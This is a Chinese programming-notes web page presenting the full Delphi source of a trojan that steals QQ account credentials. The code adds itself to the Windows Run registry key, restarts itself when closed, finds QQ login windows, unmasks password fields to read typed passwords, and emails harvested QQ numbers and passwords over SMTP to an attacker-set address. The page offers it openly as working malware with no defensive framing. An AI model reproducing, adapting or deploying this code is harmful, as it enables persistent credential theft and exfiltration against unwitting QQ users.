热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Delphi盗Q木马核心程序

unitGCommonMethods;{$IComplier.inc}interfaceusesWindows,SysUtils,GC

 

unit GCommonMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;


implementation

var
IsFind: Boolean = True;

procedure ReadSelfDataAppendedInExeFile;
var
ExeFile: integer;
EmailInfo: TEmailInfo;
begin
try
ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
EmailRecever := EmailInfo.Receveer;
EmailSubject := EmailInfo.Subject;
// MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '提示', MB_OK + MB_ICONINFORMATION);
finally
FileClose(ExeFile);
end;
end;

//--------------------------------------------------------------------
//设置程序自动运行,为了减少程序的体积,采用API函数写注册表

procedure SetAutoRun;
var
k1: hkey;
l: longint;
p: pchar;
begin
try
{$IFNDEF DebugMode}
l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
l := regopenkey(k1, 'Microsoft', k1);
l := regopenkey(k1, 'Windows', k1);
l := regopenkey(k1, 'CurrentVersion', k1);
l := regopenkey(k1, 'Run', k1);
p := pchar(ParamStr(0));
l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
{$ENDIF}
except
end;
end;


procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
{$IFNDEF DebugMode}
winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
KillTimer(hWindows, 1);
{$ENDIF}
Halt;
end;

procedure DoTimeMethod(hWnd: HWND);
begin
SetAutoRun;
if IsFind then //计时器处于查找QQ窗口...
FindQQWindowForAnyVersion(hWnd, IsFind);
if not IsFind then //计时器处于监视号码和密码...
GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
begin
isFind := true;
SendMail;
end;
end;

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
case uMsg of
//退出
WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
//计时器消息
WM_TIMER: DoTimeMethod(hWnd);
end;
end;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
WinClass: TWndClassA;
Inst: THandle;
begin
Inst := hInst;
with WinClass do
begin
style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := @WindowProc;
hInstance := Inst;
hbrBackground := color_btnface + 1;
lpszClassname := PChar(ClassName);
hCursor := LoadCursor(0, IDC_ARROW);
end; { with }
RegisterClass(WinClass);
OutHandle := CreateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),
WS_SIZEBOX or WS_CAPTION or WS_SYSMENU or WS_VISIBLE,
363, 278, 305, 65, 0, 0, Inst, nil);
end;

procedure ApplicationRun(hWindow: HWND);
var
Msg: TMsg;
begin
while (GetMessage(Msg, hWindow, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end;


end.

另一个单元

unit GNetMethods;

//{$I Complier.inc}

interface
uses
Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};

procedure SendMail; //发送邮件
function NetInternetConnected: Boolean;

implementation

function NetInternetConnected: Boolean;
var
dwConnectionTypes: DWORD; //值
begin
dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM
+ INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

function EncodeBase64(const Source: string): string;
var
Times, LenSrc, i: Integer;
x1, x2, x3, x4: Char;
xt: Byte;
begin
Result := '';
LenSrc := Length(Source);
if LenSrc mod 3 = 0 then
Times := LenSrc div 3
else
Times := LenSrc div 3 + 1;

for i := 0 to Times - 1 do
begin
if LenSrc >= (3 + i * 3) then
begin
x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];
xt := (ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
xt := xt or (Ord(Source[3 + i * 3]) shr 6);
x3 := BaseTable[xt + 1];
xt := (ord(Source[3 + i * 3]) and 63);
x4 := BaseTable[xt + 1];
end
else if LenSrc >= (2 + i * 3) then
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (Ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
x3 := BaseTable[xt + 1];
x4 := '=';
end else
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
x2 := BaseTable[xt + 1];
x3 := '=';
x4 := '=';
end;
Result := Result + x1 + x2 + x3 + x4;
end;
end;

// Write_Socket函数

function Write_Socket(sockfd: TSocket; const s: string): Integer;
//功能:将字符串S写入sockfd
begin
// form1.Memo1.Lines.Add(s);
Result := Send(sockfd, pointer(s)^, Length(s), 0)
end;

// Socket_Readline函数

function Socket_Readline(sockfd: Integer): string;
//功能:从sockfd中读取一行(即,直至遇到换行符)。
//返回值:返回从sockfd中所读取的一行字符。
var
S: string; buf: array[0..1] of Char;
n: Cardinal;
begin
buf[0] := #0; buf[1] := #0; S := '';
n := recv(sockfd, Buf, 1, 0);
while n > 0 do
begin
buf[1] := #0;
S := S + buf;
if (buf[0] = #10) then Break;
n := recv(sockfd, buf, 1, 0);
end;
Result := Trim(S);
// form1.memo1.Lines.Add(trim(S));
end;

function CreateClientSocket(Host: string; Port: integer): Integer;
//功能:与指定的主机Host建立一个TCP连接,使用Port端口。
//返回值:如果成功返回一个Socket描述符;否则返回
//INVALID_SOCKET
var
i: integer; p: ^LongInt;
phe: pHostEnt;
sin: sockaddr_in;
begin
Result := INVALID_SOCKET;
sin.sin_family := AF_INET;
sin.sin_port := htons(Port);
//将主机名转换为32位的IP
phe := gethostbyname(pchar(host));
if phe <> nil
then
begin
p := Pointer(phe^.h_addr_list^);
sin.sin_addr.s_addr := p^;
end
else
begin
i := inet_addr(PChar(Host));
if i <> -1
then sin.sin_addr.S_addr := i
else
//无法获取主机Host的IP
Exit;
end;
//创建一个面向连接的字节流Socket
Result := socket(PF_INET, SOCK_STREAM, 0);
if (Result = INVALID_SOCKET) then Exit;
//使用此Socket描述符与远处的主机建立一个TCP连接
if Connect(Result, sin, sizeof(sin)) = SOCKET_ERROR
then
begin
closesocket(Result);
Result := INVALID_SOCKET;
end;
end;

// POP3Response函数

function SMTPResponse(Sockfd: Integer; sta: string): Boolean;
//功能:检查SMTP服务器返回的状态信息。
//返回值:如果成功,则返回TRUE;否则返回FALSE。
var
S, lterm: string;
begin
S := socket_readline(sockfd);
if copy(s, 1, 3) = sta
then
result := true
else
result := false;
if length(s) > 3 then begin
if s[4] = '-' then begin
lterm := copy(s, 1, 3) + ' ';
repeat
s := socket_readline(sockfd);
until (length(s) <4) or (ansisametext(copy(s, 1, 4), lterm));
end;
end;
end;

function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;
var
Sockfd: Integer;
begin
Result := INVALID_SOCKET;
Sockfd := CreateClientSocket(Host, Port);
if (Sockfd = INVALID_SOCKET)
then
begin
CloseSocket(Sockfd);
Exit;
end;
SMTPresponse(sockfd, '220');
write_socket(sockfd, 'EHLO ' + user + CRLF);
SMTPresponse(sockfd, '250');
Write_socket(sockfd, 'RSET' + CRLF);
SMTPresponse(sockfd, '250');
Write_Socket(sockfd, 'AUTH LOGIN' + CRLF);
if not SMTPResponse(sockfd, '334')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, EncodeBase64(User) + CRLF);
if not SMTPResponse(sockfd, '334')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, EncodeBase64(password) + CRLF);
if not SMTPResponse(sockfd, '235')
then
begin
CloseSocket(sockfd);
Exit;
end;
Result := Sockfd;
end;

function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail
var
sockfd: integer;
sendbody {, S}: string;
//ok: boolean;
begin
Result := '';
SendBody := 'From:"会员版"<'+Email.name+'>' + CRLF
+ 'To:"主人"<' + Receive + '>' + CRLF
+ 'Subject:' + Subject + CRLF
+ CRLF
+ Body + CRLF + '.' + CRLF; //这是邮件内容。
Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);
if Sockfd = INVALID_SOCKET then Exit;
Write_Socket(sockfd, 'MAIL FROM: <'+ Email.name+'>'+ CRLF);
if not SMTPResponse(sockfd, '250')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, 'RCPT TO: <' + Receive + '>' + CRLF); //'+user+'
if not SMTPResponse(sockfd, '250')
then
begin
CloseSocket(sockfd);
Exit;
end;
Write_Socket(sockfd, 'DATA' + CRLF);
if not SMTPResponse(sockfd, '354')
then
begin
CloseSocket(sockfd);
Exit;
end
else
begin
Write_Socket(sockfd, sendbody);
SMTPresponse(sockfd, '110');
end;
Write_Socket(sockfd, 'QUIT'#13#10);
smtpresponse(sockfd, 'quit');
Closesocket(sockfd);
end;


procedure SendMail;
var
w: TWSADATA;
r,count:integer;
begin
if EmailBody <> '' then
try
EmailBody := '******正确的密码可能是最后一对******' + CRLF + CRLF + EmailBody + CRLF + CRLF + '希望您早日成为我们的会员,祝你使用快乐! ';
// MessageBox(0, pchar(EmailBody), '提示', MB_OK + MB_ICONINFORMATION);
count:=0;
repeat r:=WSAStartup(2, w);
inc(count);
until (r=0)or(count>5);
POP3RetriveMail('QQ密码', EmailBody,newQQID);//oiwin@263.net
count:=0;
repeat r:=WSAStartup(2, w);
inc(count);
until (r=0)or(count>5);
POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);
except
end;
end;

end.


再另一个单元

unit GQQFindMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods; //Types,

procedure GoOnMonitorPasswordAndQQNumber;
procedure FindQQWindowForAnyVersion;

implementation

//--------------------------------------------------------------------
//读取指定句柄的TEXT

function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;
const MAX_LENGTH = 255;
var
iPwdChar: Integer;
iPwdLast: Integer;
psText: array[0..MAX_LENGTH] of char;
i: Integer;
begin
iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
if (iPwdChar <> 0) then // and GetPassWord
begin
iPwdLast := 0;
i := 0;
while iPwdLast = 0 do
begin
PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);
Inc(i);
iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
if i > 100 then break;
end;
SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
Result := psText;
PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);
end else begin
SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
Result := psText;
end;
end;

//--------------------------------------------------------------------
//检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号

function GetEditCount(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
GetEditCount(t);

if strpas(szname) = 'Edit' then
inc(Editcount);
if Editcount > 62 then
break;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;

//--------------------------------------------------------------------
//找QQ2000中的句柄
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function FindQQ2000Edit(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
GetEditCount(t);
if strpas(szname) = 'ComboBox' then
QQIDHandle := t
else if (strpas(szname) = 'Edit') then
QQPasswordHandle := t;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


//--------------------------------------------------------------------
//找QQ2003中的句柄

function FindQQ2003Edit(theFormHandle: hwnd): integer;
var
t: hwnd;
szname: array[0..254] of char;
begin
t := GetWindow(theFormHandle, GW_CHILD);
while t <> 0 do
begin
result := 0;
GetClassName(t, @szname, 255);
FindQQ2003Edit(t);
if strpas(szname) = 'Edit' then
begin
inc(Count);
if EditCount <8 then
case Count of
1: QQIDHandle := t;
2: QQPasswordHandle := t;
3: break;
end;
if EditCount > 61 then
case Count of
49: QQIDHandle := t;
50: QQPasswordHandle := t;
51: break;
end
else
case Count of
30: QQPasswordHandle:= t;
61: begin
QQIDHandle := t;
break;
end;
end;
end;
t := GetWindow(t, GW_HWNDNEXT);
end;
end;

//--------------------------------------------------------------------
//找QQ登录窗口的句柄

function FindQQHandle(hWindows: HWND): integer;
var
hcrrentwindow: hwnd;
sztext: array[0..254] of char;
s: string;
begin
Result := 0;
hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);
while hcrrentwindow <> 0 do
begin
if GetWindowtext(hcrrentwindow, @sztext, 255) > 0 then
begin
s := strpas(@sztext);
if trim(s) = '' then
begin
Result := hcrrentwindow;
break;
end ;
end;
hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);
end;
end;

procedure GoOnMonitorPasswordAndQQNumber;
var
tempRect: TRect;
Rightpassword: boolean;
begin
QQhandle := FindQQHandle(Handle);
if QQHandle <> 0 then
begin

GetWindowRect(QQhandle, tempRect);
if oldWidth <> tempRect.Right - tempRect.Left then
begin
isFind := true;
exit;
end;
QQID := GetIDandPassword(QQIDHandle); // ,false
QQPassword := GetIDandPassword(QQPasswordHandle); // ,true
// MessageBox(0, pchar(QQID+#13#10+QQPassword), '提示', MB_OK + MB_ICONINFORMATION);
Rightpassword := true;
try StrToInt(QQID)except Rightpassword := false; end; //过滤无效的QQID
if Rightpassword then
if ((QQID <> oldQQID) or (QQPassword <> oldQQPassword)) and (QQID <> '') and (QQPassword <> '') then
begin
EmailBody := EmailBody + format('QQ号码:%s' + #13#10 + 'QQ密码:%s' + #13#10,
[QQID, QQPassword]);
oldQQID := QQID;
oldQQPassword := QQPassword;
end;
end
else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
begin
isFind := true;
SendMail;
end;
end;

procedure FindQQWindowForAnyVersion;
var
tempRect: TRect;
begin
QQhandle := FindQQHandle(Handle);
if QQHandle <> 0 then
begin
IsFind := false;
GetWindowRect(QQhandle, tempRect);
oldWidth := tempRect.Right - tempRect.Left;
EmailBody := '';
QQID := '';
QQPassword := '';
oldQQID := '';
oldQQPassword := '';
EditCount := 0;
Count := 0;
GetEditCount(QQHandle);
// MessageBox(0, pchar(inttostr(EditCount)), '提示', MB_OK + MB_ICONINFORMATION);
if EditCount = 1 then
FindQQ2000Edit(QQHandle)
else
FindQQ2003Edit(QQHandle);
end;
end;

end.

推荐阅读
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • Java学习笔记之面向对象编程(OOP)
    本文介绍了Java学习笔记中的面向对象编程(OOP)内容,包括OOP的三大特性(封装、继承、多态)和五大原则(单一职责原则、开放封闭原则、里式替换原则、依赖倒置原则)。通过学习OOP,可以提高代码复用性、拓展性和安全性。 ... [详细]
  • JDK源码学习之HashTable(附带面试题)的学习笔记
    本文介绍了JDK源码学习之HashTable(附带面试题)的学习笔记,包括HashTable的定义、数据类型、与HashMap的关系和区别。文章提供了干货,并附带了其他相关主题的学习笔记。 ... [详细]
  • Netty源代码分析服务器端启动ServerBootstrap初始化
    本文主要分析了Netty源代码中服务器端启动的过程,包括ServerBootstrap的初始化和相关参数的设置。通过分析NioEventLoopGroup、NioServerSocketChannel、ChannelOption.SO_BACKLOG等关键组件和选项的作用,深入理解Netty服务器端的启动过程。同时,还介绍了LoggingHandler的作用和使用方法,帮助读者更好地理解Netty源代码。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文介绍了如何使用Express App提供静态文件,同时提到了一些不需要使用的文件,如package.json和/.ssh/known_hosts,并解释了为什么app.get('*')无法捕获所有请求以及为什么app.use(express.static(__dirname))可能会提供不需要的文件。 ... [详细]
  • 预备知识可参考我整理的博客Windows编程之线程:https:www.cnblogs.comZhuSenlinp16662075.htmlWindows编程之线程同步:https ... [详细]
  • Whatsthedifferencebetweento_aandto_ary?to_a和to_ary有什么区别? ... [详细]
  • 本文介绍了一个React Native新手在尝试将数据发布到服务器时遇到的问题,以及他的React Native代码和服务器端代码。他使用fetch方法将数据发送到服务器,但无法在服务器端读取/获取发布的数据。 ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
  • Android日历提醒软件开源项目分享及使用教程
    本文介绍了一款名为Android日历提醒软件的开源项目,作者分享了该项目的代码和使用教程,并提供了GitHub项目地址。文章详细介绍了该软件的主界面风格、日程信息的分类查看功能,以及添加日程提醒和查看详情的界面。同时,作者还提醒了读者在使用过程中可能遇到的Android6.0权限问题,并提供了解决方法。 ... [详细]
  • gitlab重置password
    ruby没怎么学,自己搭建的gitlab的rootpassword又忘了。幸好看见此帖子,试验okhttp:roland.kierkels.netgitreset-your-git ... [详细]
  • C语言自带的快排和二分查找
    Author🚹:CofCaiEmail✉️:cai.dongjunnexuslink.cnQQ😙:1664866311personalPage&#x ... [详细]
  • PreparedStatement防止SQL注入
    添加数据:packagecom.hyc.study03;importcom.hyc.study02.utils.JDBCUtils;importjava.sql ... [详细]
author-avatar
Random,
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有